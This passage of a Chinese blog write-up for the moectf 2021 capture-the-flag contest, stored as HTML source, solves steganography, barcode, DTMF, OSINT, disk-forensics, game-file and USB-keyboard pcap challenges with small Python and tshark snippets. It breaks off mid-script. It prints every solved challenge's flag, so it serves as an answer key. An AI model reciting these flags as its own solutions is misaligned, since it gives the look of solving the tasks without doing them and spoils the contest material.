Album\u003c/h3\u003e\u003cp\u003e看到 \u003ccode\u003e.png\u003c/code\u003e ,就猜要么是LSB要么是图片尺寸问题,试了一下果然是图片尺寸,在\u003ccode\u003e010 Editor\u003c/code\u003e 里改了下尺寸得到一个申必图案\u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/ZpC9ox3itfAJLQm.jpg\" alt=\"whilt\" style=\"zoom:80%;\"/\u003e\u003cp\u003e猜了下是条码,就搜了下条码图案,发现是 \u003ccode\u003epdf417\u003c/code\u003e ,想找个在线扫的发现很难找,最后找到个网站可以解这个\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://online-barcode-reader.inliteresearch.com/\"\u003ehttps://online-barcode-reader.inliteresearch.com/\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{WhY_@r3_u_s0_5K1ll3D}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"07-Phone-Call\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#07-Phone-Call\" class=\"headerlink\" title=\"07 Phone Call\"\u003e\u003c/a\u003e07 Phone Call\u003c/h3\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"http://dyf.ink/crypto/classical/others/#_24\"\u003ehttp://dyf.ink/crypto/classical/others/#_24\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/cg1510167/article/details/114279633\"\u003ehttps://blog.csdn.net/cg1510167/article/details/114279633\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_33806914/article/details/91868832\"\u003ehttps://blog.csdn.net/weixin_33806914/article/details/91868832\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e就拖进AE看就行,手动一个一个解的,得到\u003cdel\u003e很臭的\u003c/del\u003eflag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{114514-1919810-7738-9634}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"08-社工题\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#08-%E7%A4%BE%E5%B7%A5%E9%A2%98\" class=\"headerlink\" title=\"08 社工题\"\u003e\u003c/a\u003e08 社工题\u003c/h3\u003e\u003cp\u003e这题可太草了,从假期整到开学……原来有4个博客2个仓库……\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://noahtie.github.io/\"\u003eNoahBox (noahtie.github.io)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://noahbox.github.io/\"\u003ehttps://noahbox.github.io/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://nuoyazhicheng.lofter.com/\"\u003ehttps://nuoyazhicheng.lofter.com/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://masternoah.lofter.com/\"\u003ehttps://masternoah.lofter.com/\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e在hexo博客点签订契约进入lofter博客,在lofter博客点一下上面 \u003cstrong\u003ei\u003c/strong\u003e 一样的标志找到另一个hexo博客,在里面留言板里找到了 HackerHS,最后找到第二个仓库根据意思在里面找到commits,发现莫斯电码,复制到在线网站解密,得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{HAHAHAHAH_NOAH_IS_A_VEGETABLE_CHICKEN}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"09-好-康-的\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#09-%E5%A5%BD-%E5%BA%B7-%E7%9A%84\" class=\"headerlink\" title=\"09 好 康 的\"\u003e\u003c/a\u003e09 好 康 的\u003c/h3\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/qO3mhC6S4aAVXFL.png\" alt=\"rr1\" style=\"zoom:80%;\"/\u003e\u003cp\u003e(被骗一次,之后就会被骗第二次\u003c/p\u003e\u003cp\u003e太草了,放完发现后面有一段不能放,用 \u003ccode\u003emkvtoolnix\u003c/code\u003e 分离出来字幕,拖进\u003ccode\u003e010 Editor\u003c/code\u003e 直接搜索 \u003ccode\u003emoectf\u003c/code\u003e ,找到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{N3v3r_90tt@_L3t-y0U_dOwN~}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"10-easyForensics\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#10-easyForensics\" class=\"headerlink\" title=\"10 easyForensics\"\u003e\u003c/a\u003e10 easyForensics\u003c/h3\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/luostudent/article/details/113786916?utm_term=base64%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%BD%AC%E6%96%87%E4%BB%B6python\u0026amp;utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~sobaiduweb~default-1-113786916\u0026amp;spm=3001.4430\"\u003ehttps://blog.csdn.net/luostudent/article/details/113786916?utm_term=base64%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%BD%AC%E6%96%87%E4%BB%B6python\u0026amp;utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~sobaiduweb~default-1-113786916\u0026amp;spm=3001.4430\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_37865996/article/details/87970732\"\u003ehttps://blog.csdn.net/qq_37865996/article/details/87970732\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://blog.sina.com.cn/s/blog_68f8a3370102vqv7.html\"\u003ehttp://blog.sina.com.cn/s/blog_68f8a3370102vqv7.html\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e找了半天,用 \u003ccode\u003eAccessData FTK Imager\u003c/code\u003e 打开,挂载,进入,翻目录找到 \u003ccode\u003eflag.mp4\u003c/code\u003e 一气呵成\u003c/p\u003e\u003cp\u003e打开 \u003ccode\u003eflag.mp4\u003c/code\u003e \u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/qO3mhC6S4aAVXFL.png\" alt=\"rr1\" style=\"zoom:80%;\"/\u003e\u003cp\u003e草\u003c/p\u003e\u003cp\u003e又经过了漫长的鼓捣,最后在 \u003ccode\u003eFTK\u003c/code\u003e 里发现一些被删除的文件夹还有一个python文件,都是申必的命名,全部导出来,读了代码发现是把一个文件转成base64了,这里要注意 \u003ccode\u003edata = data.replace(\u0026#34;/\u0026#34;, \u0026#34;_\u0026#34;)\u003c/code\u003e\u003c/p\u003e\u003cp\u003e写了个脚本把文件夹的名字提取了出来(发现写了两个,好像差不多,随便粘一个)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token comment\"\u003e# -*- coding: utf-8 -*-\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e os\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e base64\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e sysfile_dir \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users\\\\(之后目录省略)\u0026#39;\u003c/span\u003es \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e root\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e dirs\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e files \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewalk\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efile_dir\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e var \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e root s \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e s \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e var\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e54\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003es \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e s\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ereplace\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;_\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;/\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users\\\\(之后目录省略)\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;w\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003es\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;success\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后用脚本把base64转文件,还搜了个大佬写的图形化工具,(最后发现是个word)得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{Th@_1s_N0t_U53FULL_@_4LL}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"11-R-P-G\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#11-R-P-G\" class=\"headerlink\" title=\"11 R P G\"\u003e\u003c/a\u003e11 R P G\u003c/h3\u003e\u003cp\u003e是游戏捏,按F12还能出来 DevTools 捏,本来想怎么改地图直接穿过去,发现不会整,然后又改了下等级,好像也没啥用,然后又整了一下一进去就是第二个,还是不会整,最后在\u003ccode\u003eMap002.json\u003c/code\u003e 里发现了好像base64的申必字符,然后复制出来,得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{Th3_w0rld_0f_G4m3}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"12-诺亚的日记\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#12-%E8%AF%BA%E4%BA%9A%E7%9A%84%E6%97%A5%E8%AE%B0\" class=\"headerlink\" title=\"12 诺亚的日记\"\u003e\u003c/a\u003e12 诺亚的日记\u003c/h3\u003e\u003cp\u003e\u003cdel\u003e我超,嘉心糖\u003c/del\u003e\u003c/p\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qiuchi1975/article/details/106149854/\"\u003ehttps://blog.csdn.net/qiuchi1975/article/details/106149854/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/u012388993/article/details/116395497\"\u003ehttps://blog.csdn.net/u012388993/article/details/116395497\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.codercto.com/a/109222.html\"\u003ehttps://www.codercto.com/a/109222.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.anquanke.com/post/id/85218\"\u003ehttps://www.anquanke.com/post/id/85218\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/ba9763ceb620\"\u003ehttps://www.jianshu.com/p/ba9763ceb620\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/756aa623c3b5\"\u003ehttps://www.jianshu.com/p/756aa623c3b5\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html\"\u003ehttps://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/756aa623c3b5\"\u003ehttps://www.jianshu.com/p/756aa623c3b5\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html\"\u003ehttps://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e是个流量包捏,随便翻了一下里面 \u003ccode\u003eHID Data\u003c/code\u003e 里好像有好东西捏,但怎么提取出来捏?看了上面的博客,先把流量包用 \u003ccode\u003etshark\u003c/code\u003e 转换成json,找到 \u003ccode\u003eHID Data\u003c/code\u003e 叫啥,然后再提出来\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003etshark.exe \u003cspan class=\"token parameter variable\"\u003e-T\u003c/span\u003e json \u003cspan class=\"token parameter variable\"\u003e-r\u003c/span\u003e pcapng.pcap \u003cspan class=\"token operator\"\u003e\u0026gt;\u003c/span\u003e test.json\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003etshark.exe \u003cspan class=\"token parameter variable\"\u003e-r\u003c/span\u003e pcapng.pcap \u003cspan class=\"token parameter variable\"\u003e-T\u003c/span\u003e fields \u003cspan class=\"token parameter variable\"\u003e-e\u003c/span\u003e usbhid.data \u003cspan class=\"token operator\"\u003e\u0026gt;\u003c/span\u003e usbdata.txt\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后看博客里面只有两位是有用的,然后就是对着表翻译。找了好多脚本都是错的,交了很多次……最后终于找到个有用的\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token comment\"\u003e# coding:utf-8\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e sys\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e osusb_codes \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x04\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;aA\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x05\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;bB\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x06\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;cC\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x07\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;dD\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;eE\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x09\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;fF\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0A\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;gG\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;hH\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0C\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;iI\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;jJ\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0E\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;kK\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;lL\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;mM\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;nN\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;oO\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x13\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;pP\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;qQ\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;rR\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;sS\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x17\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;tT\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x18\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;uU\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;vV\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1A\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;wW\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;xX\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1C\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;yY\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;zZ\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1E\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;1!\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;2@\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;3#\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x21\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;4$\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;5%\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;6^\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;7\u0026amp;\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;8*\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x26\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;9(\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x27\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;0)\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2C\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;-_\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2E\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;=+\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;[{\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x30\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;]}\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x32\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;#~\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x33\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;;:\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x34\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;\u0026#39;\\\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x36\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;,\u0026lt;\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x37\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;.\u0026gt;\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x4f\u003c/span\u003e\u003cspan class=\"token 